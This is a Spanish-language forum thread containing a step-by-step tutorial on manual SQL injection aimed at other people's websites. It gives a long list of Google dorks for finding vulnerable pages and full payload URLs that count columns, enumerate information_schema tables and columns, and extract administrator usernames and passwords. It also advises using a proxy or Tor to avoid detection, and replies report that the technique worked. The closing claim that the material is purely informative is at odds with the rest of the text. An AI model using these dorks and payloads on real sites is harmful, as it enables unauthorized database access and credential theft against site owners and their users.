[SQL Básico] Aprende a Inyectar

Antiguo 27-Jan-2013, 21:17
Avatar de Zefidu  
Ubicación: Entre lo virtual y lo oculto...
Sexo: Hombre
Mensajes: 21.451
Me Gusta recibidos: 6.645 (?)
Hola, estoy recién aprendiendo y hay una manera muy simple de obtener el usuario y la contraseña del administrador de una página con algunas características particulares. En resumen, la Inyección SQL es agregarle ciertas frases (o comandos) a la barra de direcciones para acceder a la base de datos de la web.

Para averiguar más cosas, google está lleno. Pero son pocos los manuales claros y concisos. Así que haré un mix de varios que encontré en internet para aclarar la película y hacer la prueba con una página real.

Outside. Buscando potenciales páginas. Dorks.

Bueno, lo primero que hay que hacer es buscar una página vulnerable a inyección SQL, debemos buscar páginas particulares con este problema. El primer paso es usar los denominados dorks, que son por decirlo así, búsquedas predefinidas que se usa en google.com.

Hay diversos tipos de dorks y uno mismo los puede ir modificando a su conveniencia. Por ejemplo, los primeros que usé fueron los siguientes:

Código PHP:
inurl:newsDetail.php?id
Código PHP:
inurl:gov+noticias.php?id
El primero, claramente, nos mostrará páginas con artículos (newdetail.php). La segunda, además de buscar noticias (noticias.php), buscará páginas de gobierno. Podemos modificar este último y buscar en inglés, cambiando noticias por news:

Código PHP:
inurl:gov+news.php?id
etc. Así podemos ir modificando nuestros propios dorks.

Dejaré una lista de dorks:

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?dec l_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id =
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php? ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?dec l_id=
inurl:Pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:play_old.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id =
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:play_old.php?id=
inurl:declaration_more.php?dec l_id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:Productinfo.php?id=
inurl:website.php?id=
inurl:Productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:iniziativa.php?in=
inurl:detail_new.php?id=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:hotel.php?id=
inurl:art.php?idm=
inurl:title.php?id=
inurl:look.php?ID=
inurl:story.php?id=
inurl:labels.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:ages.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: filesize()
"id=" & intext:"Warning: require()


Además,
Cita:
Iniciado por angelo12345678 Ver Mensaje
un dork interesante, utiliza el operador lógico OR, recuerda que igual lo puedes utilizar.

site:cl ext:php OR asp OR ASPX inurl:?id=

fíjate la cantidad de páginas que aparecen

Cerca de 9.250.000 resultados

fíjate ahora con este

site:cl OR com.ar OR pe OR br ext:php OR asp OR ASPX inurl:?id=

Cerca de 69.200.000 resultados

ahora con este

site:cl OR com.ar OR pe OR br ext:php OR asp OR ASPX inurl:?id= OR ?page=

Cerca de 122.000.000 resultados

tienes horas de entretención.

ahora si quieres algo mas hardcore, recuerda que los webservice son un punto débil
de muchas web importantes.

site:cl OR com.ar OR br OR pe ext:asmx

Cerca de 16.000 resultados

cuidado con las web en las que webean, en chile no es tan terrible la ley, pero hay
empresas que webean por la imagen de mierda que les dejan, y son capaces de demandar
por alguna cagada que te mandes.

saludos.


Inside. Buscando Vulnerabilidades

Vamos a lo nuestro. Para evitar cualquier tipo de problemas, voy a ocultar el nombre de la página, así que la llamaremos "cuaderno.com".

Suponiendo que encontré dos páginas, voy a trabajar.

Bueno, la búsqueda (en Google) nos entregó dos páginas, digamos "libro.com" y "cuaderno.com".

El link que nos dejó el dork para "libro.com" es el siguiente (depende ciertamente del dork que uses):

Lo que está en amarillo es importante, ya que acá debemos hacer el primer paso y es saber si la web es realmente vulnerable o no, si no lo es, debemos buscar otra ya que por Inyección SQL no podrás ingresar.

Al abrir el link verás algo así (depende de la página),



Y lo que debes hacer, es modificar el link como sigue. Debes agregar una comilla ( ' ) (sin paréntesis, es sólo para ilustrar el caracter) después del número de la id, o simplemente modificar la id y dejar sólo la comilla. Es decir, dejarlo de cualquier de estas dos formas:

o también,

Lo que nos arroja en la página la misma página sin modificaciones, lo que significa que la web no es vulnerable a SQL.

Entonces, lo que debemos hacer para comprobar si es vulnerable o no, es agregar una simple comilla después de los números de la id o cambiar los números por la id. ¿Qué fácil no? Bueno, sigamos.

Ahora, sigamos con el siguiente resultado "cuaderno.com". La búsqueda en Google nos arrojó el siguiente link:

Código PHP:
cuaderno.com/ficha-de-libro/?bid=
Y la página nos muestra lo que debe mostrar, la página normal:



Ahora lo que debemos hacer es (lo que hago yo), cambiar los números por una comilla. Nos quedará el link:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=' 
Y que si nos fijamos, nos entregará el siguiente error:



Lo que nos quiere decir que la página es PROBABLEMENTE vulnerable a la Inyección SQL. Ahora es cuando viene lo entretenido.

El asunto es el siguiente. La base de datos de una página trabaja con diversas tablas con muchos datos, donde está todo lo que te imaginas (usuarios, passwords, useradmin, etc, etc). Pero para Inyectar necesitamos saber el número de tablas que posee la base de datos y aquí viene lo "latoso" de la Inyección, ya que se debe revisar manualmente.

Vamos a revisar tres formas distintas.

Obteniendo el número de tablas.

Primer método. -1+union+select+1,2,...,n--

El primero de los métodos es a través del comando "union select" (cabe destacar que los signos "+", son sólo para separar las palabras y evitar que en el navegador aparezca en vez del espacio, un "%20"), y lo que se debe hacer es tantear agregándole cada vez más números al comando. Es decir, probar primero con -1+union+select+1--, luego -1+union+select+1,2--, posteriormente -1+union+select+1,2,3--, etc. ¿Y dónde se agrega esto? Bueno, se agrega también en el enlace. Donde mismo agregaste la comilla ( ' ), debes reemplazarla por el comando anterior, quedando así:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1-- 
Lo que nos arrojará dos cosas; o saldrá un número "1" grande (esto significa que por ese número podremos ingresar la Inyección y además que la base de datos tiene una sola tabla), o nos saldrá un error SQL parecido al primero que nos dio. Bueno, al apretar en ese enlace nos apareció,



Esto significa que la base de datos efectivamente no tiene una tabla, por lo que debemos seguir con el comando -1+union+select+1,2--, es decir,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2-- 
Lo que nos arrojará el mismo error. Debes seguir agregando números hasta que te salga algo parecido a lo siguiente,



Que son justamente los números que estábamos buscando (no esos números en especial, sino que aparecieran). Esto lo obtuvimos con el siguiente enlace,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,3,4-- 
Segundo Método. 1 UNION SELECT 1,1,...,1

El siguiente método es parecido al anterior, simplemente hay que agregar después de id= el comando 1+UNION+SELECT+1 e ir agregándole 1's para encontrar la tabla. Problemos. Si usamos el link,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=1+UNION+SELECT+1 
obtenemos el mismo error SQL que en el método anterior:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1-- 
Si, usamos la dirección:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=1+UNION+SELECT+1,1 
También nos arrojará el mismo error. Después de seguir agregándole 1's, llegamos a la URL,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=1+UNION+SELECT+1,1,1,1 
Que son justamente cuatros 1's, y son las cuatro tablas que buscábamos y la página nos arroja,



Como sabemos que son cuatro tablas, debemos cambiar nuestra url por la del primer método, es decir,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,3,4-- 
Tercer Método. 1+ORDER BY+n

Tal como en los anterior, ahora usaremos el comando 1+ORDER+BY+X, donde "X" es cualquier número (natural, mayor o igual a 1). La idea es agregar los números hasta que obtengamos la página con error. Se coloca, como en los anteriores, después de id=. Veamos en la página, usando el link:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=1+ORDER+BY+1 
Lo que nos arrojará la página sin errores,



Si cambiamos el número 1 por el número 2,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=1+ORDER+BY+2 
Obtenemos, la misma página anterior. Seguimos así hasta que obtengamos un error. Puede ser un error SQL como los anteriores o ser un error del tipo Unknown column 'X' in 'order clause', donde "X" es el número que colocamos. Cuando nos de ese error o el SQL, quiere decir que la base de datos tiene X-1 tablas. Por ejemplo, al usar

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=1+ORDER+BY+5 
Obtenemos el error, y es claro que 5-1=4 son las tablas buscadas. Luego, como en los métodos anteriores debemos volver al enlace original:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,3,4-- 
Para que obtengamos los números.

PD: En particular me gusta este último método. Lo encuentro cómodo.

Obtención de los datos de la data base.

Cualquiera sea el método que escojas, sigamos adelante. Entonces, tenemos el siguiente link:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,3,4-- 
Y la siguiente pantalla:



Lo interesante es que a través de estos números podemos hacer muchas cosas. SOLO A TRAVÉS DE LOS NÚMEROS QUE SALGAN EN PANTALLA. Hagamos una prueba, modifiquemos el enlace a gusto nuestro. Como los números que aparecen en este caso son 4,3 y 2. Podemos modificar cualquiera de ellos, por ejemplo, cambiemos el 4 y el 3. ¿Y cómo? Bueno, modificando el link con los números que queramos:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,23532,23452345-- 
Obtenemos,



Ahora, podemos conocer los datos de la web a través de la base de datos!! Los más usados son los siguientes; @@version o version(), user(), system_user() y database(). Se reemplazan tal cual los números anteriores, por ejemplo,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,version(),user()-- 
Y obtendremos el usuario (root) y la versión de SQL que tiene el server (separados por un dos puntos ":", fijarse que ese "2" es el número que no modificamos):



También podemos usar database(), system_user() o cualquier comando. Acá hay una lista de comandos bastante completa.

Un buen dato es el siguiente; en vez de intercambiar los números por los comandos (normalmente son pocos números) y hacer varias veces lo mismo para conocer diversas cosas, puedes unir todos los comandos de una sola vez con el siguiente comando:

Código PHP:
concat_ws(char(58),version(),user(),database()) 
donde char(58) son los dos puntos ( : ) y los comandos que ya usamos. Con esto, obtendremos la misma información anterior pero toda junta y más fácil que buscar una por una:



El link que utilizamos fue,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,concat_ws(char(58),version(),user(),database()),4-- 
Obteniendo las tablas y login:usuario

Como ya sabemos modificar y obtener datos a través de los milagrosos números. Podemos obtener el nombre de las tablas y dar paso a conocer el login:pass del administrador.

El primer paso es modificar nuevamente nuestro link,

Código PHP:
http://cuaderno.com/ficha-de-libro/?id=-1+union+select+1,2,3,4-- 
Pero ahora, en cualquiera de los números que aparecen en pantalla (usaré en particular el más chico, el 3) colocamos table_name y después del último número (y antes de las dos guiones) agregamos

Código PHP:
+from+information_schema.tables 
Por lo tanto, nos quedará un link de esta forma:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,table_name,4+from+information_schema.tables-- 
Y nos arrojará diversas cosas dependiendo de la página, en este caso nos arrojó TODAS las tablas de la data base (el siguiente post será a otra página con la búsqueda manual del nombre de las tablas):



En este caso, podemos ver todas las tablas y lo que buscamos es la tabla de los usuarios, para obtener la ID y la password del administrador. Si nos fijamos bien, podemos darnos cuenta (intuitivamente) que la tabla (de usuarios) que buscamos es bl_users (este paso es muy importante, ya que si eliges mal, no obtendras lo que buscas).

El siguiente paso es transformar el nombre de la tabla en ASCII. Lo podemos hacer a través de cualquier "convertor" online, usaremos este. Al introducir bl_users obtenemos que en ASCII se escribe 098 108 095 117 115 101 114 115 013 010.

Debemos modificar el link anterior

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+union+select+1,2,table_name,4+from+information_schema.tables-- 
como sigue. Donde dice table_name lo cambiaremos por group_concat(column_name) y donde dice information_schema.tables lo cambiaremos por

Código PHP:
information_schema.columns+where+table_name=char(XXX,XXX,XXX,XXX,XXX)-- 
Donde las XXX corresponden a nuestro código ASCII (Ojo que ahora los números van entre comas). Es así, como nuestro link se transforma en:

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+UNION+SELECT+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=char(098,108,095,117,115,101,114,115)-- 
Y obtenemos:



Que son las tablas dentro de bl_users. Acá, necesitamos claramente la tabla user y la tabla pass. Para obtener los datos, inyectamos nuevamente comandos como siguen. Debemos cambiar group_concat(column_name) por concat(XXX,0x3a,YYY) y todo lo que está después de from+... eliminarlo, y cambiarlo por from+ZZZZ-- donde XXX,YYY y ZZZ son respectivamente, NOMBRE DE USUARIO (user), PASSWORD DE USUARIO (pass) Y NOMBRE DE LA TABLA QUE ESTAMOS UTILIZANDO (bl_users). Quedándonos el link de la forma,

Código PHP:
http://cuaderno.com/ficha-de-libro/?bid=-1+UNION+SELECT+1,2,concat(user,0x3a,pass),4+from+bl_users-- 
Obteniendo así, el usuario del admin y su contraseña:



Hay veces que la clave o el usuarios vienen encriptados en diversos lenguajes, tales como MD5, MD4, etc. Y para decifrarlas necesitas un buen "decrypter".

------------------------------------------------------------------------------

Espero que haya quedado claro. Cabe destacar que la obtención de las tablas en este caso fue muy fácil, va a depender mucho de la página y sus características. En el siguiente post haré otra inyección a otro sitio donde hay que obtener las tablas manualmente.

Saludos!!

PD: Cabe destacar que es material informativo y para evitar este tipo de vulneraciones en tu propio sitio web...
PD2: Hay algunas cosas que se cortan a la mitad ya que el foro no soporta palabras muy largas, ojo con eso.
PD3: Pequeña lista de sitios vulnerables.
PD4: Si vas a revisar la vulnerabilidad de otra web, es recomendable usar un buen proxy o navegar mediante tor.
     
Sigue en el foro:
Hacking
Últimos temas creados en Comunidad:
Antiguo 27-Jan-2013, 21:18
 
Obteniendo las tablas y login:usuario.
MANUALMENTE


Este caso es cuando, al buscar las tablas no aparecen directamente en la página (como en el primer ejemplo), sino que hay que buscarlas manualmente.

Nos saltaremos los pasos previos a la obtención del login:usuario, para no caer en lo mismo, ya que los pasos anteriores son siempre los mismos.

Nuestra página en este caso se llamará "webeo.com".

Bueno, supongamos que ya tenemos los "números" obtenidos (es decir, el número de tablas) en el siguiente link:

Código PHP:
http://webeo.com/data.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10-- 


Obtengamos los datos del server, etc.

Código PHP:
http://webeo.com/data.php?id=-1+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9,10-- 


Es decir, tenemos que

Cita:
Versión: 5.1.66-cll
User (root): [email protected]
Database: meteogo_meteo
NOTA: ES MUY IMPORTANTE NOTAR QUE SI LA VERSIÓN NO ES 5.X.X.X, SINO QUE 4.X.X ESTE MÉTODO NO SERVIRÁ.

Ahora, cualquier número que aparezca lo modificamos (usaremos el "5"). Cambiemos el número 5 por table_name y agreguemos +from+information.schema.table s antes de los dos guiones --. Es decir,

Código PHP:
http://webeo.com/data.php?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables-- 
Deberá aparecer (donde modificamos) lo siguiente: CHARACTER_SETS, si aparece eso, estamos en buen camino.



Ahora viene la búsqueda manual de tablas.

Método Manual (Pajero)

Debemos agregar +limit+1,1 antes de los dos guiones (--), es decir,

Código PHP:
http://webeo.com/data.php?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables+limit+1,1-- 
Y en vez de CHARACTER_SETS aparecerá otra tabla,



Ahora, escribes +limit+2,1 en vez de +limit+1,1,

Código PHP:
http://webeo.com/data.php?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables+limit+2,1-- 
Y aparecerá otra más. Debes seguir así hasta que encuentres una tabla que diga "usuarios" o algo así (OJO, usuarios_privilegies, etc, etc no sirven).

Método Manual (Rápido, a veces)

A diferencia del método anterior que buscas las tablas una a una, puedes hacer que te muestre todas las tablas en una misma página. El único detalle es que, como la lista (a veces) es muy grande, no aparecen todas las tablas.

Partimos del enlace base (de las tablas),

Código PHP:
http://webeo.com/data.php?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables-- 
Y en vez de agregar los límites, donde dice table_name lo reemplazamos por group_concat(table_name), es decir,

Código PHP:
http://webeo.com/data.php?id=-1+union+select+1,2,3,4,group_concat(table_name),6,7,8,9,10+from+information_schema.tables-- 
Y obtendremos, (depende de la página) algo así:

Código:
szWeather=4&intMin=CHARACTER_SETS,CLIENT_STATISTICS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,INDEX_STATISTICS,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TABLE_STATISTICS,THREAD_STATISTICS,TRIGGERS,USER_PRIVILEGES,USER_STATISTICS,VIEWS,authteam,authuser,authuserteam_mapping,documents_descriptions,generic_content_file,generic_news_item,generic_news_item_category,generic_news_item_type,page,regid,tblalart,tz_regions,weather_date&intMax=6&szSunrise=7&szSunset=8&szWind=9
En este caso, se pueden ver todas las tablas. Cuando no se puedan visualizar todas, podemos contar hasta la última que podemos ver y partir desde ahí el límite.

Si nos fijamos en las tablas, la que parece ser la de usuarios es authuser. Luego procedemos como en el ejemplo anterior.

PD: Un tip muy bueno es que, para encontrar todas las tablas, en vez de usar

Código PHP:
group_concat(table_name
podemos usar

Código PHP:
replace(group_concat(table_name),0x2C,0x3C62723E
Y así nos mostrará las tablas verticalmente, no horizontalmente. Es una mera comodidad, pero realmente útil.
Antiguo 27-Jan-2013, 21:55
 
Que buena, te pasaste, tremendo post.

Se agradece @Zefidu.
Antiguo 27-Jan-2013, 21:56
 
Buen tutorial Madcedo Sadas, siempre tuve la duda de como hacer esta wea, ya que cacho harto de base de datos, pero pal lado negro no

Gracias master
Antiguo 27-Jan-2013, 22:41
 
Cita:
Iniciado por Magnetron Ver Mensaje
Prueben con cachondeo
Para vB es distinto. Además esta versión es súper segura.

Antiguo 27-Jan-2013, 23:01
 
Cita:
Iniciado por Zefidu Ver Mensaje
Para vB es distinto. Además esta versión es súper segura.

Mira tu, que interesante saberlo

saludos perrin
Antiguo 29-Jan-2013, 22:44
 
Muy buena explicación loco, me funko 100% .
La verdad hace años que no ponía en práctica esta técnica, lo entendí perfectamente.

Saludos.
Página 1 de 2 1 2
Tags: ,

Herramientas


Respuesta


ElAfter.com 2005-2018 @ Algunos derechos reservados - Desarrollo por GRID
Top